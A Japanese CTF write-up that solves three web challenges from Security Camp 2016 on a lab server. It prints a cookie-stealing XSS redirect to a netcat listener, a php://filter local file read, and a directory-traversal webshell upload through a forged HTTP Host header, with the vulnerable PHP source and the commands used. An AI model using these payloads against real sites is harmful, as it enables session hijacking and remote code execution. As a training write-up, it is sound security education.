セキュキャンCTF Web問のWriteup
セキュリティキャンプ全国大会2016でチーム対抗のCTFが開催されましたね。
チューターチーム「友利奈緒とゆかいな仲間たち」の友利奈緒です。
当日はネットワークトラブルのせいで解く時間が全然なかったのですが、そのときに難易度が低いと噂のWebを1つも解けなかったので今日解き直しました。
以下Writeupです。
ipアドレスを192.168.39.39としてサーバーを動かしています。
FLAG_1
http://192.168.39.39/ につなぐとこんな画面が出てきます。 FLAG_1は非公開になっており、adminが見れるページのようですね。
仕方がないのでtest postを開きます。 コメントができますね。
この問題は50点ぐらいに見えるのでここにXSSがあって、adminのcookieを抜き取るのでしょう。 CTFではよくあるパターンですね。 いろいろ準備するのはだるいので、192.168.39.39にsshログインして、netcatで待ち構えてcookieを覗きましょう。
<script>location.href="http://192.168.39.39:8080/"</script>
pi@d55f1549b655:~ $ nc -l -p 8080 GET / HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Referer: http://192.168.39.39/comments/check.php?id=1 User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1 Cookie: PHPSESSID=a7vejaoqteu1o8l3gojgl10lo1 Connection: Keep-Alive Accept-Encoding: gzip, deflate Accept-Language: en,* Host: 192.168.39.39:8080
cookieを取れたのでブラウザでこの値を入れてからFLAG_1のページを見ます。やるだけですな。(なんであの場ではうまくいかなかったのか…)
flag: FLAG{c0NgRaTz_y0u'v3_H4cK3d_4dM1N_4Cc0UnT}
flag3.txt
ヒントには /var/www/flag3.txt
にフラグがあると言っているので、adminになりつつ投稿画面を見に行きます。
(Admin Panelの存在はindex.phpのコメントを見るか、robots.txtで示唆されているので見落とさないようにしましょう)
Import from URL でローカルファイルを読み込むんだろうなという検討は立ちます。
fileは弾かれるのでfiLeとかで大文字を入れればWAFみたいのを回避できます。
(というのを当日に聞いていたのでここでは別解を書きます。)
ソースを見ると(以下の方法と同様にして入手できるはずです)、file_get_contentsでリモートorローカルのリソースを読み込む仕組みになっています。
この関数は php://filter/
でおなじみのフィルタが利用できるのでそれで読み込むことも可能です。
つまり、URLとして php://filter/resource=/var/www/flag3.txt
を指定します。
できたページを見て終わりです。
flag: FLAG{3xpLo1TInG_S3rV3r-S1D3_r3Qu3St_f0RG3rY}
flag4.txt
いよいよ最後の問題です。
(自分にはここからが長かった…ctf4b運営のもりたこ先生にヒントを乞うて、利用する脆弱性のヒントをもらったぞい)
ファイル名が分からない状態ではフィルタが使えないっぽいので、ファイルに書き込んでくれる系を脆弱性として使うのでしょう。
もりたこヒントによると、post/import.php
にディレクトリトラバーサル脆弱性があり、リモートで任意コード実行(RCE)可能らしいです。
ということで、デバッグ出力している次の箇所に目を付けました。
function parseHeaders($headers) { $head = array(); foreach($headers as $k=>$v) { $t = explode( ':', $v, 2 ); if (isset($t[1])) $head[ trim($t[0]) ] = trim( $t[1] ); else { $head[] = $v; if (preg_match( "#HTTP/[0-9\.]+\s+([0-9]+)#",$v, $out )) $head['reponse_code'] = intval($out[1]); } } return $head; } // $data = file_get_contents($url); $headers = parseHeaders($http_response_header); if (isset($headers['Host'])) { $host = $headers['Host']; } else { $host = parse_url($url, PHP_URL_HOST); } $title = "Imported data from $host"; addPost($title, $data, (int)(empty($_POST['secret']))); $_SESSION['create_ok'] = true; // DEBUG $debug_log = "url: $url\n"; $debug_log .= "status: success\n"; $debug_log .= "content: $data\n"; file_put_contents(sprintf('/tmp/mars_debug_log_%d_%s', time(), $host), $debug_log);
sprintf
でファイル名を作っていますが、%s
でディレクトリトラバーサル自明ですね。
%s
は $host
で変えられるようです。後で確認します。
書き込み内容は $debug_log
で決まり、$data
に僕のコードを仕込めば実行してくれそうです。
さて $host
は何に由来するのかというと、少し上の $headers['Host']
で、 parseHeaders
でHTTPレスポンスヘッダにあったHostフィールド(公式仕様には無いやつですね…。気づくヒントだったのかな…?)の値が $host
に来るみたいです。
netcatで簡単なHTTPサーバーでも立てておきますかね。 ということで、netcatで応答すべき内容はこんな感じになります。 phpタグに囲まれていないところにゴミが入っていても問題ありません。phpの性質をよく利用した賢い問題っすね。
HTTP/1.1 200 OK Host: /../../var/www/html/evil.php Content-Length: 50 <?php print_r(scandir('/var/www/flag4')); ?> # nc -l -p 8080 < http_response
あとはnetcatで待ち受けて、リクエストが来てこちらが応答したら Ctrl+C
でCloseしちゃいます(笑)
# もっといい方法ないすかねー?
投稿画面ではURLに http://192.168.39.39:8080/
を指定しました。
pi@d55f1549b655:~ $ nc -l -p 8080 < http_response GET / HTTP/1.0 Host: 192.168.39.39:8080 Connection: close ^C
ファイル名が分かったので、先の問題と同様にして中身を暴露します。
flag: FLAG{W0w_u_pwn3d_Mars!}
難易度設定はキャンプのCTFにはいい感じですね。
手元にRasPiが無いのでCTF運営公式のイメージファイルから必要なファイルを取り出して、適当にDockerizeしました。
さっき運営の一人のもりたこちゃんに披露したので、そのうち公開されるかもしれません。